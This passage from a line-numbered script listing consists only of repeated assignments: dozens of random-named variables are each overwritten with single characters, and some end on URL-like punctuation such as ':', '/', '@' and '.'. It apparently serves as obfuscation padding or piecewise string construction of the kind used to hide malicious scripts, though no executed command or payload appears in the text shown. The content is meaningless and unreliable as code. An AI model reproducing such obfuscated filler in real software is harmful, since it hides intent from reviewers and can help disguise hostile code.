203	nhyfqqy = "a";
204	nhyfqqy = "w";
205	nhyfqqy = "Y";
206	nhyfqqy = "q";
207	nhyfqqy = "G";
208	nhyfqqy = "C";
209	nhyfqqy = "O";
210	nhyfqqy = "L";
211	nhyfqqy = "u";
212	nhyfqqy = "F";
213	nhyfqqy = "b";
214	nhyfqqy = "l";
215	nhyfqqy = "x";
216	nhyfqqy = "h";
217	nhyfqqy = "q";
218	nhyfqqy = "P";
219	sflfzmm = "t";
220	sflfzmm = "t";
221	sflfzmm = "d";
222	sflfzmm = "n";
223	sflfzmm = "E";
224	sflfzmm = "Q";
225	sflfzmm = "Y";
226	sflfzmm = "D";
227	sflfzmm = "W";
228	sflfzmm = "H";
229	sflfzmm = "K";
230	sflfzmm = "l";
231	ooxtpvamj = "t";
232	ooxtpvamj = "Z";
233	ooxtpvamj = "u";
234	ooxtpvamj = "x";
235	ooxtpvamj = "Z";
236	ooxtpvamj = "q";
237	ooxtpvamj = "v";
238	ooxtpvamj = "Q";
239	ooxtpvamj = "q";
240	ooxtpvamj = "d";
241	ooxtpvamj = "C";
242	ooxtpvamj = "i";
243	ooxtpvamj = "t";
244	ooxtpvamj = "J";
245	ooxtpvamj = "A";
246	ooxtpvamj = "g";
247	ooxtpvamj = "Q";
248	ooxtpvamj = "n";
249	ooxtpvamj = "L";
250	ooxtpvamj = "L";
251	ooxtpvamj = "P";
252	ooxtpvamj = "M";
253	ooxtpvamj = "r";
254	ooxtpvamj = "a";
255	ooxtpvamj = "l";
256	ooxtpvamj = "m";
257	ooxtpvamj = "s";
258	ooxtpvamj = "L";
259	ooxtpvamj = "s";
260	ooxtpvamj = "E";
261	ooxtpvamj = "q";
262	ooxtpvamj = "v";
263	ooxtpvamj = "u";
264	ooxtpvamj = "k";
265	ooxtpvamj = "C";
266	ooxtpvamj = "E";
267	ooxtpvamj = "Y";
268	qfcxjiwrj = "M";
269	qfcxjiwrj = "K";
270	qfcxjiwrj = "m";
271	qfcxjiwrj = "W";
272	qfcxjiwrj = "L";
273	qfcxjiwrj = "D";
274	qfcxjiwrj = "k";
275	qfcxjiwrj = "C";
276	qfcxjiwrj = "T";
277	qfcxjiwrj = "R";
278	qfcxjiwrj = "G";
279	qfcxjiwrj = "F";
280	qfcxjiwrj = "Q";
281	qfcxjiwrj = "l";
282	qfcxjiwrj = "b";
283	qfcxjiwrj = "z";
284	qfcxjiwrj = "D";
285	qfcxjiwrj = "i";
286	qfcxjiwrj = "f";
287	qfcxjiwrj = "w";
288	qfcxjiwrj = "f";
289	qfcxjiwrj = "A";
290	qfcxjiwrj = "T";
291	qfcxjiwrj = "E";
292	qfcxjiwrj = "7";
293	ckpzb = "D";
294	ckpzb = "b";
295	ckpzb = "I";
296	ckpzb = "N";
297	ckpzb = "Q";
298	ckpzb = "T";
299	ckpzb = "C";
300	ckpzb = "Z";
301	ckpzb = "X";
302	ckpzb = "R";
303	ckpzb = "Y";
304	ckpzb = "q";
305	edaslfmz = "C";
306	edaslfmz = "H";
307	edaslfmz = "C";
308	edaslfmz = "a";
309	edaslfmz = "o";
310	edaslfmz = "e";
311	edaslfmz = "M";
312	edaslfmz = "v";
313	edaslfmz = "l";
314	edaslfmz = "r";
315	edaslfmz = "T";
316	edaslfmz = "c";
317	edaslfmz = "c";
318	edaslfmz = "C";
319	edaslfmz = "F";
320	edaslfmz = "g";
321	edaslfmz = "Q";
322	edaslfmz = "P";
323	edaslfmz = "N";
324	edaslfmz = "v";
325	edaslfmz = "u";
326	edaslfmz = "B";
327	edaslfmz = "H";
328	edaslfmz = "d";
329	edaslfmz = "j";
330	edaslfmz = "J";
331	edaslfmz = "C";
332	edaslfmz = "L";
333	edaslfmz = "B";
334	edaslfmz = "U";
335	edaslfmz = "T";
336	edaslfmz = "W";
337	edaslfmz = "v";
338	edaslfmz = "q";
339	edaslfmz = "d";
340	edaslfmz = "s";
341	edaslfmz = "S";
342	edaslfmz = "w";
343	wkarq = "r";
344	wkarq = "I";
345	wkarq = "r";
346	wkarq = "V";
347	wkarq = "O";
348	wkarq = "m";
349	wkarq = "P";
350	wkarq = "W";
351	wkarq = "K";
352	wkarq = "j";
353	wkarq = "h";
354	wkarq = "n";
355	wkarq = "O";
356	wkarq = "Z";
357	wkarq = "Q";
358	wkarq = "f";
359	wkarq = "F";
360	wkarq = "U";
361	wkarq = "f";
362	wkarq = "q";
363	wkarq = "I";
364	wkarq = "v";
365	wkarq = "e";
366	wkarq = "V";
367	wkarq = "T";
368	wkarq = "O";
369	wkarq = "d";
370	wkarq = "E";
371	ymybsl = "h";
372	ymybsl = "z";
373	ymybsl = "y";
374	ymybsl = "L";
375	ymybsl = "a";
376	ymybsl = "H";
377	ymybsl = "f";
378	ymybsl = "F";
379	ymybsl = "V";
380	ymybsl = "K";
381	ymybsl = "d";
382	ymybsl = "m";
383	ymybsl = "i";
384	ymybsl = "h";
385	ymybsl = "c";
386	ymybsl = "q";
387	ymybsl = "q";
388	ymybsl = "V";
389	ymybsl = "f";
390	ymybsl = "P";
391	ymybsl = "B";
392	ymybsl = "Q";
393	ymybsl = "G";
394	ymybsl = "y";
395	ymybsl = "u";
396	ymybsl = "j";
397	ymybsl = "A";
398	ymybsl = "f";
399	ymybsl = "v";
400	ymybsl = "A";
401	ymybsl = "j";
402	ymybsl = "d";
403	ymybsl = "i";
404	ymybsl = "O";
405	ymybsl = "T";
406	ymybsl = "W";
407	ymybsl = "y";
408	ymybsl = "q";
409	ymybsl = "u";
410	ymybsl = "j";
411	ymybsl = "h";
412	ymybsl = "m";
413	ymybsl = "I";
414	tromgwlc = "Z";
415	tromgwlc = "K";
416	tromgwlc = "T";
417	tromgwlc = "r";
418	tromgwlc = "g";
419	tromgwlc = "f";
420	tromgwlc = "q";
421	tromgwlc = "R";
422	tromgwlc = "Z";
423	tromgwlc = "A";
424	tromgwlc = "J";
425	tromgwlc = "H";
426	tromgwlc = "t";
427	tromgwlc = "h";
428	tromgwlc = "k";
429	tromgwlc = "N";
430	tromgwlc = "Q";
431	tromgwlc = "l";
432	tromgwlc = "A";
433	tromgwlc = "f";
434	tromgwlc = "e";
435	tromgwlc = "n";
436	tromgwlc = "l";
437	tromgwlc = "M";
438	tromgwlc = "o";
439	tromgwlc = "q";
440	tromgwlc = "z";
441	tromgwlc = "Y";
442	tromgwlc = "a";
443	ugwifjt = "E";
444	ugwifjt = "J";
445	ugwifjt = "u";
446	ugwifjt = "g";
447	ugwifjt = "j";
448	ugwifjt = "j";
449	ugwifjt = "j";
450	ugwifjt = "J";
451	ugwifjt = "e";
452	ugwifjt = "W";
453	ugwifjt = "V";
454	ugwifjt = "U";
455	ugwifjt = "L";
456	ugwifjt = "J";
457	ugwifjt = "N";
458	ugwifjt = "T";
459	ugwifjt = "B";
460	ugwifjt = "h";
461	ugwifjt = "L";
462	ugwifjt = "Z";
463	ugwifjt = "z";
464	ugwifjt = "c";
465	ugwifjt = "K";
466	ugwifjt = "y";
467	ugwifjt = "z";
468	ugwifjt = "Z";
469	ugwifjt = "i";
470	ugwifjt = "P";
471	ugwifjt = "k";
472	ugwifjt = "e";
473	ugwifjt = "q";
474	ugwifjt = "b";
475	ugwifjt = "T";
476	ugwifjt = ".";
477	cxbphcvq = "D";
478	cxbphcvq = "K";
479	cxbphcvq = "m";
480	cxbphcvq = "T";
481	cxbphcvq = "9";
482	ifwfvs = "s";
483	ifwfvs = "O";
484	ifwfvs = "O";
485	ifwfvs = "e";
486	ifwfvs = "Y";
487	ifwfvs = "M";
488	ifwfvs = "Y";
489	ifwfvs = "d";
490	ifwfvs = "S";
491	ifwfvs = "T";
492	ifwfvs = "I";
493	ifwfvs = "S";
494	ifwfvs = "w";
495	ifwfvs = "e";
496	ifwfvs = "l";
497	ifwfvs = "K";
498	ifwfvs = "G";
499	ifwfvs = "F";
500	ifwfvs = "t";
501	ifwfvs = "D";
502	ifwfvs = "r";
503	ifwfvs = "Q";
504	ifwfvs = "b";
505	ifwfvs = "t";
506	ifwfvs = "u";
507	ifwfvs = "D";
508	ifwfvs = "T";
509	ifwfvs = "n";
510	ifwfvs = "y";
511	ifwfvs = "m";
512	ifwfvs = "v";
513	ifwfvs = "X";
514	ifwfvs = "P";
515	ifwfvs = "Y";
516	ifwfvs = "E";
517	ifwfvs = "n";
518	ifwfvs = "R";
519	ifwfvs = "s";
520	ifwfvs = "x";
521	ifwfvs = "J";
522	ifwfvs = "N";
523	ifwfvs = "F";
524	ifwfvs = "m";
525	ifwfvs = "1";
526	ratqmhkly = ":";
527	tbzkd = "X";
528	tbzkd = "h";
529	tbzkd = "F";
530	tbzkd = "O";
531	tbzkd = "C";
532	tbzkd = "D";
533	tbzkd = "Z";
534	tbzkd = "j";
535	tbzkd = "w";
536	tbzkd = "o";
537	tbzkd = "3";
538	ljzuhjk = "n";
539	ljzuhjk = "q";
540	ljzuhjk = "C";
541	ljzuhjk = "M";
542	ljzuhjk = "Z";
543	ljzuhjk = "W";
544	ljzuhjk = "B";
545	ljzuhjk = "y";
546	ljzuhjk = "n";
547	ljzuhjk = "N";
548	ljzuhjk = "r";
549	ljzuhjk = "o";
550	ljzuhjk = "V";
551	ljzuhjk = "B";
552	ljzuhjk = "V";
553	ljzuhjk = "s";
554	ljzuhjk = "s";
555	zimiyujx = "m";
556	zimiyujx = "k";
557	zimiyujx = "0";
558	uarpxyftn = "R";
559	uarpxyftn = "l";
560	uarpxyftn = "D";
561	uarpxyftn = "L";
562	uarpxyftn = "j";
563	uarpxyftn = "V";
564	uarpxyftn = "t";
565	uarpxyftn = "d";
566	uarpxyftn = "R";
567	uarpxyftn = "V";
568	uarpxyftn = "f";
569	uarpxyftn = "t";
570	uarpxyftn = "q";
571	uarpxyftn = "z";
572	uarpxyftn = "o";
573	uarpxyftn = "P";
574	uarpxyftn = "i";
575	uarpxyftn = "S";
576	uarpxyftn = "_";
577	qtpzi = "c";
578	qtpzi = "j";
579	qtpzi = "u";
580	qtpzi = "P";
581	qtpzi = "a";
582	qtpzi = "r";
583	qtpzi = "j";
584	qtpzi = "F";
585	qtpzi = "V";
586	qtpzi = "f";
587	qtpzi = "b";
588	qtpzi = "l";
589	qtpzi = "D";
590	qtpzi = "h";
591	qtpzi = "O";
592	qtpzi = "Q";
593	qtpzi = "b";
594	qtpzi = "g";
595	qtpzi = "r";
596	qtpzi = "r";
597	qtpzi = "O";
598	qtpzi = "v";
599	qtpzi = "g";
600	qtpzi = "o";
601	qtpzi = "X";
602	qtpzi = "Z";
603	qtpzi = "e";
604	qtpzi = "F";
605	qtpzi = "P";
606	qtpzi = "M";
607	qtpzi = "m";
608	qtpzi = "Y";
609	qtpzi = "N";
610	qtpzi = "v";
611	qtpzi = "o";
612	qtpzi = "N";
613	qtpzi = "k";
614	qtpzi = "n";
615	qtpzi = "i";
616	qtpzi = "l";
617	qtpzi = "d";
618	qtpzi = "w";
619	qtpzi = "b";
620	qtpzi = "f";
621	thmiz = "G";
622	thmiz = "k";
623	thmiz = "F";
624	thmiz = "h";
625	thmiz = "N";
626	thmiz = "M";
627	thmiz = "t";
628	thmiz = "Q";
629	thmiz = "s";
630	thmiz = "J";
631	thmiz = "V";
632	thmiz = "M";
633	thmiz = "Q";
634	thmiz = "n";
635	thmiz = "E";
636	thmiz = "m";
637	thmiz = "J";
638	thmiz = "h";
639	thmiz = "W";
640	thmiz = "U";
641	thmiz = "f";
642	thmiz = "e";
643	thmiz = "p";
644	thmiz = "M";
645	thmiz = "F";
646	thmiz = "J";
647	thmiz = "X";
648	thmiz = "s";
649	thmiz = "i";
650	thmiz = "w";
651	thmiz = "F";
652	thmiz = "q";
653	thmiz = "L";
654	thmiz = "e";
655	thmiz = "B";
656	thmiz = "K";
657	dltcta = "R";
658	dltcta = "Z";
659	dltcta = "r";
660	dltcta = "w";
661	dltcta = "c";
662	dltcta = "J";
663	dltcta = "Y";
664	dltcta = "i";
665	dltcta = "I";
666	dltcta = "j";
667	dltcta = "F";
668	cuyckx = "w";
669	cuyckx = "S";
670	cuyckx = "L";
671	cuyckx = "x";
672	cuyckx = "A";
673	cuyckx = "N";
674	cuyckx = "Z";
675	cuyckx = "Y";
676	cuyckx = "p";
677	cuyckx = "a";
678	cuyckx = "d";
679	cuyckx = "N";
680	cuyckx = "T";
681	cuyckx = "t";
682	cuyckx = "E";
683	cuyckx = "P";
684	cuyckx = "G";
685	cuyckx = "B";
686	cuyckx = "B";
687	cuyckx = "M";
688	cuyckx = "i";
689	cuyckx = "m";
690	cuyckx = "C";
691	ovuhtm = "u";
692	ovuhtm = "b";
693	ovuhtm = "x";
694	ovuhtm = "p";
695	ovuhtm = "X";
696	ovuhtm = "J";
697	ovuhtm = "C";
698	ovuhtm = "O";
699	ovuhtm = "Y";
700	ovuhtm = "Q";
701	ovuhtm = "y";
702	ovuhtm = "q";
703	ovuhtm = "y";
704	ovuhtm = "R";
705	ovuhtm = "n";
706	ovuhtm = "d";
707	ovuhtm = "m";
708	ovuhtm = "s";
709	ovuhtm = "M";
710	ovuhtm = "Y";
711	ovuhtm = "N";
712	ovuhtm = "a";
713	ovuhtm = "i";
714	ovuhtm = "B";
715	ovuhtm = "o";
716	ovuhtm = "A";
717	ovuhtm = "Q";
718	ovuhtm = "p";
719	ovuhtm = "I";
720	ovuhtm = "A";
721	ovuhtm = "5";
722	qwpmw = "I";
723	qwpmw = "m";
724	qwpmw = "i";
725	qwpmw = "u";
726	qwpmw = "O";
727	qwpmw = "m";
728	qwpmw = "j";
729	qwpmw = "S";
730	qwpmw = "v";
731	qwpmw = "B";
732	qwpmw = "G";
733	qwpmw = "K";
734	qwpmw = "N";
735	qwpmw = "P";
736	qwpmw = "q";
737	qwpmw = "r";
738	qwpmw = "V";
739	qwpmw = "L";
740	qwpmw = "r";
741	rishbu = "E";
742	rishbu = "d";
743	rishbu = "J";
744	rishbu = "i";
745	rishbu = "e";
746	rishbu = "O";
747	rishbu = "k";
748	rishbu = "S";
749	rishbu = "M";
750	rishbu = "4";
751	hzedrjb = "x";
752	hzedrjb = "n";
753	hzedrjb = "M";
754	hzedrjb = "A";
755	hzedrjb = "O";
756	hzedrjb = "h";
757	hzedrjb = "F";
758	hzedrjb = "m";
759	hzedrjb = "I";
760	hzedrjb = "p";
761	hzedrjb = "t";
762	hzedrjb = "y";
763	hzedrjb = "u";
764	hzedrjb = "a";
765	hzedrjb = "G";
766	hzedrjb = "M";
767	hzedrjb = "e";
768	hzedrjb = "h";
769	hzedrjb = "w";
770	hzedrjb = "Z";
771	hzedrjb = "e";
772	hzedrjb = "o";
773	hzedrjb = "o";
774	hzedrjb = "W";
775	hzedrjb = "F";
776	hzedrjb = "c";
777	hzedrjb = "l";
778	hzedrjb = "R";
779	hzedrjb = "M";
780	hzedrjb = "o";
781	hzedrjb = "D";
782	hzedrjb = "N";
783	hzedrjb = "l";
784	hzedrjb = "S";
785	hzedrjb = "T";
786	rjwomhghx = "L";
787	rjwomhghx = "s";
788	rjwomhghx = "M";
789	rjwomhghx = "D";
790	rjwomhghx = "Y";
791	rjwomhghx = "k";
792	rjwomhghx = "e";
793	rjwomhghx = "g";
794	rjwomhghx = "Y";
795	rjwomhghx = "M";
796	rjwomhghx = "o";
797	rjwomhghx = "o";
798	rjwomhghx = "M";
799	rjwomhghx = "v";
800	rjwomhghx = "M";
801	rjwomhghx = "U";
802	rjwomhghx = "e";
803	rjwomhghx = "N";
804	rjwomhghx = "u";
805	rjwomhghx = "e";
806	rjwomhghx = "E";
807	rjwomhghx = "C";
808	rjwomhghx = "f";
809	rjwomhghx = "Y";
810	rjwomhghx = "G";
811	rjwomhghx = "S";
812	rjwomhghx = "s";
813	rjwomhghx = "i";
814	rjwomhghx = "a";
815	rjwomhghx = "F";
816	rjwomhghx = "X";
817	rjwomhghx = "G";
818	rjwomhghx = "y";
819	rjwomhghx = "t";
820	ycark = "e";
821	ycark = "v";
822	ycark = "D";
823	ycark = "i";
824	ycark = "s";
825	ycark = "m";
826	ycark = "J";
827	ycark = "f";
828	ycark = "m";
829	ycark = "R";
830	ycark = "t";
831	ycark = "a";
832	ycark = "K";
833	ycark = "x";
834	ycark = "J";
835	ycark = "J";
836	ycark = "u";
837	ycark = "J";
838	ycark = "W";
839	ycark = "Z";
840	ycark = "T";
841	ycark = "q";
842	ycark = "O";
843	ycark = "Z";
844	ycark = "D";
845	ycark = "P";
846	ycark = "F";
847	ycark = "y";
848	ycark = "r";
849	ycark = "s";
850	ycark = "j";
851	ycark = "m";
852	ycark = "X";
853	ycark = "E";
854	ycark = "a";
855	ycark = "g";
856	ycark = "a";
857	ycark = "m";
858	ycark = " ";
859	ibihfsnr = "H";
860	ibihfsnr = "I";
861	ibihfsnr = "a";
862	ibihfsnr = "U";
863	ibihfsnr = "m";
864	ibihfsnr = "q";
865	ibihfsnr = "C";
866	ibihfsnr = "w";
867	ibihfsnr = "I";
868	ibihfsnr = "p";
869	ibihfsnr = "z";
870	ibihfsnr = "Z";
871	ibihfsnr = "C";
872	ibihfsnr = "d";
873	ibihfsnr = "b";
874	ibihfsnr = "L";
875	csoyr = "s";
876	csoyr = "d";
877	csoyr = "m";
878	csoyr = "w";
879	csoyr = "L";
880	csoyr = "l";
881	csoyr = "v";
882	csoyr = "y";
883	csoyr = "F";
884	csoyr = "H";
885	csoyr = "R";
886	csoyr = "r";
887	csoyr = "z";
888	csoyr = "Z";
889	csoyr = "N";
890	csoyr = "w";
891	csoyr = "D";
892	csoyr = "F";
893	csoyr = "W";
894	csoyr = "a";
895	csoyr = "q";
896	csoyr = "w";
897	csoyr = "w";
898	csoyr = "v";
899	csoyr = "E";
900	csoyr = "S";
901	csoyr = "E";
902	csoyr = "c";
903	csoyr = "B";
904	csoyr = "H";
905	csoyr = "Q";
906	csoyr = "q";
907	csoyr = "k";
908	csoyr = "p";
909	csoyr = "C";
910	csoyr = "p";
911	vgnlf = "s";
912	vgnlf = "N";
913	vgnlf = "x";
914	vgnlf = "K";
915	vgnlf = "O";
916	vgnlf = "D";
917	vgnlf = "G";
918	vgnlf = "C";
919	vgnlf = "c";
920	vgnlf = "T";
921	vgnlf = "h";
922	vgnlf = "r";
923	vgnlf = "M";
924	vgnlf = "o";
925	vgnlf = "S";
926	vgnlf = "w";
927	vgnlf = "z";
928	vgnlf = "e";
929	vgnlf = "T";
930	vgnlf = "G";
931	vgnlf = "m";
932	vgnlf = "H";
933	vntiriiq = "Q";
934	vntiriiq = "z";
935	vntiriiq = "c";
936	yddgbhsa = "r";
937	yddgbhsa = "Q";
938	yddgbhsa = "y";
939	yddgbhsa = "j";
940	yddgbhsa = "g";
941	yddgbhsa = "L";
942	yddgbhsa = "N";
943	yddgbhsa = "e";
944	yddgbhsa = "j";
945	yddgbhsa = "t";
946	yddgbhsa = "G";
947	yddgbhsa = "N";
948	yddgbhsa = "v";
949	yddgbhsa = "O";
950	yddgbhsa = "t";
951	yddgbhsa = "U";
952	yddgbhsa = "O";
953	yddgbhsa = "E";
954	yddgbhsa = "V";
955	yddgbhsa = "m";
956	yddgbhsa = "o";
957	yddgbhsa = "B";
958	yddgbhsa = "n";
959	yddgbhsa = "j";
960	yddgbhsa = "v";
961	yddgbhsa = "Y";
962	yddgbhsa = "u";
963	yddgbhsa = "v";
964	yddgbhsa = "d";
965	yddgbhsa = "c";
966	yddgbhsa = "x";
967	yddgbhsa = "F";
968	yddgbhsa = "k";
969	yddgbhsa = "L";
970	yddgbhsa = "n";
971	yddgbhsa = "M";
972	yddgbhsa = "x";
973	yddgbhsa = "m";
974	iolmnlnoe = "j";
975	iolmnlnoe = "Y";
976	iolmnlnoe = "Z";
977	iolmnlnoe = "a";
978	iolmnlnoe = "L";
979	iolmnlnoe = "k";
980	iolmnlnoe = "n";
981	iolmnlnoe = "a";
982	iolmnlnoe = "J";
983	iolmnlnoe = "Y";
984	iolmnlnoe = "i";
985	iolmnlnoe = "Q";
986	iolmnlnoe = "Y";
987	iolmnlnoe = "l";
988	iolmnlnoe = "e";
989	iolmnlnoe = "J";
990	iolmnlnoe = "W";
991	iolmnlnoe = "W";
992	iolmnlnoe = "z";
993	iolmnlnoe = "W";
994	iolmnlnoe = "l";
995	iolmnlnoe = "r";
996	iolmnlnoe = "z";
997	iolmnlnoe = "b";
998	iolmnlnoe = "o";
999	iolmnlnoe = "A";
1000	iolmnlnoe = "N";
1001	iolmnlnoe = "H";
1002	iolmnlnoe = "P";
1003	iolmnlnoe = "P";
1004	iolmnlnoe = "d";
1005	iolmnlnoe = "u";
1006	iolmnlnoe = "J";
1007	iolmnlnoe = "-";
1008	dsziaklxq = "f";
1009	dsziaklxq = "/";
1010	ivmmamhuo = "e";
1011	ivmmamhuo = "a";
1012	ivmmamhuo = "Z";
1013	ivmmamhuo = "x";
1014	ivmmamhuo = "D";
1015	ivmmamhuo = "w";
1016	ivmmamhuo = "M";
1017	ivmmamhuo = "p";
1018	ivmmamhuo = "C";
1019	ivmmamhuo = "Z";
1020	ivmmamhuo = "A";
1021	ivmmamhuo = "D";
1022	ivmmamhuo = "k";
1023	ivmmamhuo = "g";
1024	ivmmamhuo = "h";
1025	ivmmamhuo = "S";
1026	ivmmamhuo = "z";
1027	ivmmamhuo = "Q";
1028	ivmmamhuo = "s";
1029	ivmmamhuo = "V";
1030	ivmmamhuo = "d";
1031	ivmmamhuo = "r";
1032	ivmmamhuo = "l";
1033	ivmmamhuo = "t";
1034	ivmmamhuo = "t";
1035	ivmmamhuo = "P";
1036	ivmmamhuo = "Q";
1037	ivmmamhuo = "v";
1038	ivmmamhuo = "R";
1039	ivmmamhuo = "C";
1040	ivmmamhuo = "m";
1041	ivmmamhuo = "u";
1042	ivmmamhuo = "k";
1043	ivmmamhuo = "p";
1044	ivmmamhuo = "a";
1045	ivmmamhuo = "A";
1046	ivmmamhuo = "g";
1047	ivmmamhuo = "J";
1048	ivmmamhuo = "i";
1049	ivmmamhuo = "b";
1050	ivmmamhuo = "L";
1051	ivmmamhuo = "H";
1052	ivmmamhuo = "E";
1053	ivmmamhuo = "&";
1054	bwrnzffs = "W";
1055	bwrnzffs = "n";
1056	bwrnzffs = "j";
1057	bwrnzffs = "J";
1058	bwrnzffs = "C";
1059	bwrnzffs = "G";
1060	bwrnzffs = "D";
1061	bwrnzffs = "G";
1062	bwrnzffs = "r";
1063	bwrnzffs = "z";
1064	bwrnzffs = "x";
1065	bwrnzffs = "m";
1066	bwrnzffs = "J";
1067	bwrnzffs = "V";
1068	bwrnzffs = "T";
1069	bwrnzffs = "A";
1070	bwrnzffs = "P";
1071	bwrnzffs = "c";
1072	bwrnzffs = "N";
1073	bwrnzffs = "m";
1074	bwrnzffs = "P";
1075	bwrnzffs = "g";
1076	bwrnzffs = "Y";
1077	bwrnzffs = "R";
1078	bwrnzffs = "V";
1079	bwrnzffs = "C";
1080	bwrnzffs = "l";
1081	bwrnzffs = "E";
1082	bwrnzffs = "H";
1083	bwrnzffs = "i";
1084	bwrnzffs = "M";
1085	bwrnzffs = "I";
1086	bwrnzffs = "g";
1087	bwrnzffs = "k";
1088	bwrnzffs = "j";
1089	bwrnzffs = "v";
1090	bwrnzffs = "x";
1091	rgbcpdwzo = "H";
1092	rgbcpdwzo = "K";
1093	rgbcpdwzo = "F";
1094	rgbcpdwzo = "y";
1095	rgbcpdwzo = "C";
1096	rgbcpdwzo = "t";
1097	rgbcpdwzo = "V";
1098	rgbcpdwzo = "G";
1099	rgbcpdwzo = "n";
1100	rgbcpdwzo = "d";
1101	rgbcpdwzo = "n";
1102	rgbcpdwzo = "Z";
1103	rgbcpdwzo = "g";
1104	rgbcpdwzo = "B";
1105	rgbcpdwzo = "n";
1106	rgbcpdwzo = "i";
1107	rgbcpdwzo = "y";
1108	rgbcpdwzo = "C";
1109	rgbcpdwzo = "t";
1110	rgbcpdwzo = "u";
1111	rgbcpdwzo = "p";
1112	rgbcpdwzo = "I";
1113	rgbcpdwzo = "G";
1114	rgbcpdwzo = "m";
1115	rgbcpdwzo = "C";
1116	rgbcpdwzo = "j";
1117	rgbcpdwzo = "H";
1118	rgbcpdwzo = "w";
1119	rgbcpdwzo = "b";
1120	bemsbgh = "U";
1121	bemsbgh = "W";
1122	bemsbgh = "W";
1123	bemsbgh = "W";
1124	bemsbgh = "l";
1125	bemsbgh = "R";
1126	bemsbgh = "O";
1127	bemsbgh = "O";
1128	bemsbgh = "n";
1129	bemsbgh = "G";
1130	bemsbgh = "s";
1131	bemsbgh = "E";
1132	bemsbgh = "v";
1133	bemsbgh = "m";
1134	bemsbgh = "c";
1135	bemsbgh = "Q";
1136	bemsbgh = "h";
1137	eqtmvmknn = "j";
1138	seywgvh = "h";
1139	seywgvh = "d";
1140	seywgvh = "x";
1141	seywgvh = "u";
1142	seywgvh = "U";
1143	seywgvh = "Y";
1144	seywgvh = "C";
1145	seywgvh = "K";
1146	seywgvh = "c";
1147	seywgvh = "Z";
1148	seywgvh = "b";
1149	seywgvh = "B";
1150	seywgvh = "N";
1151	seywgvh = "M";
1152	seywgvh = "N";
1153	seywgvh = "E";
1154	seywgvh = "t";
1155	seywgvh = "E";
1156	seywgvh = "X";
1157	seywgvh = "Q";
1158	seywgvh = "F";
1159	seywgvh = "u";
1160	seywgvh = "Y";
1161	seywgvh = "o";
1162	seywgvh = "F";
1163	seywgvh = "f";
1164	seywgvh = "K";
1165	seywgvh = "v";
1166	seywgvh = "x";
1167	seywgvh = "u";
1168	seywgvh = "Q";
1169	pixzcqve = "h";
1170	pixzcqve = "A";
1171	pixzcqve = "o";
1172	pixzcqve = "m";
1173	pixzcqve = "F";
1174	pixzcqve = "d";
1175	pixzcqve = "N";
1176	jscwxlyxq = "p";
1177	jscwxlyxq = "o";
1178	jscwxlyxq = "2";
1179	ambmfc = "b";
1180	ambmfc = "q";
1181	ambmfc = "h";
1182	ambmfc = "d";
1183	ambmfc = "E";
1184	ambmfc = "Q";
1185	ambmfc = "R";
1186	ambmfc = "x";
1187	ambmfc = "v";
1188	ambmfc = "@";
1189	dzrhawemf = "v";
1190	dzrhawemf = "Z";
1191	dzrhawemf = "y";
1192	dzrhawemf = "k";
1193	dzrhawemf = "U";
1194	dzrhawemf = "w";
1195	dzrhawemf = "w";
1196	dzrhawemf = "B";
1197	dzrhawemf = "M";
1198	dzrhawemf = "s";
1199	dzrhawemf = "k";
1200	dzrhawemf = "o";
1201	dzrhawemf = "A";
1202	dzrhawemf = "s";
1203	dzrhawemf = "a";
1204	dzrhawemf = "u";
1205	dzrhawemf = "i";
1206	dzrhawemf = "I";
1207	dzrhawemf = "G";
1208	dzrhawemf = "S";
1209	dzrhawemf = "n";
1210	dzrhawemf = "l";
1211	dzrhawemf = "v";
1212	dzrhawemf = "R";
1213	rldbyj = "m";
1214	rldbyj = "M";
1215	rldbyj = "r";
1216	rldbyj = "o";
1217	rldbyj = "G";
1218	rldbyj = "m";
1219	rldbyj = "h";
1220	rldbyj = "e";
1221	rldbyj = "T";
1222	rldbyj = "X";
1223	rldbyj = "W";
1224	rldbyj = "v";
1225	rldbyj = "e";
1226	rldbyj = "w";
1227	rldbyj = "Q";
1228	rldbyj = "c";
1229	rldbyj = "F";
1230	rldbyj = "n";
1231	rldbyj = "w";
1232	rldbyj = "O";
1233	rldbyj = "m";
1234	rldbyj = "M";
1235	rldbyj = "m";
1236	rldbyj = "k";
1237	sytallaz = "S";
1238	sytallaz = "P";
1239	sytallaz = "p";
1240	sytallaz = "d";
1241	sytallaz = "c";
1242	sytallaz = "z";
1243	sytallaz = "y";
1244	sytallaz = "K";
1245	sytallaz = "D";
1246	sytallaz = "U";
1247	sytallaz = "l";
1248	sytallaz = "n";
1249	sytallaz = "R";
1250	sytallaz = "F";
1251	sytallaz = "k";
1252	sytallaz = "s";
1253	sytallaz = "p";
1254	sytallaz = "h";
1255	sytallaz = "U";
1256	sytallaz = "O";
1257	ommuh = "H";
1258	ommuh = "M";
1259	ommuh = "R";
1260	ommuh = "V";
1261	ommuh = "H";
1262	ommuh = "v";
1263	ommuh = "C";
1264	ommuh = "D";
1265	ommuh = "Q";
1266	ommuh = "A";
1267	ommuh = "b";
1268	ommuh = "h";
1269	ommuh = "E";
1270	ommuh = "V";
1271	ommuh = "g";
1272	ommuh = "X";
1273	ommuh = "s";
1274	ommuh = "l";
1275	ommuh = "V";
1276	ommuh = "l";
1277	ommuh = "J";
1278	ommuh = "g";
1279	ommuh = "L";
1280	ommuh = "h";
1281	ommuh = "P";
1282	ommuh = "v";
1283	sgwtaekws = "s";
1284	sgwtaekws = "F";
1285	sgwtaekws = "h";
1286	sgwtaekws = "K";
1287	sgwtaekws = "A";
1288	sgwtaekws = "m";
1289	sgwtaekws = "d";
1290	sgwtaekws = "Z";
1291	sgwtaekws = "y";
1292	sgwtaekws = "p";
1293	sgwtaekws = "B";
1294	sgwtaekws = "W";
1295	sgwtaekws = "e";
1296	sgwtaekws = "Q";
1297	sgwtaekws = "U";
1298	sgwtaekws = "k";
1299	sgwtaekws = "N";
1300	sgwtaekws = "F";
1301	sgwtaekws = "V";
1302	sgwtaekws = "A";
1303	sgwtaekws = "r";
1304	sgwtaekws = "l";
1305	sgwtaekws = "Y";
1306	sgwtaekws = "g";
1307	sgwtaekws = "Z";
1308	sgwtaekws = "M";
1309	sgwtaekws = "Z";
1310	sgwtaekws = "j";
1311	sgwtaekws = "g";
1312	sgwtaekws = "V";
1313	sgwtaekws = "X";
1314	sgwtaekws = "w";
1315	sgwtaekws = "Y";
1316	sgwtaekws = "j";
1317	sgwtaekws = "E";
1318	sgwtaekws = "n";
1319	fqhtfqz = "A";
1320	fqhtfqz = "L";
1321	fqhtfqz = "s";
1322	fqhtfqz = "q";
1323	fqhtfqz = "g";
1324	fqhtfqz = "t";
1325	fqhtfqz = "f";
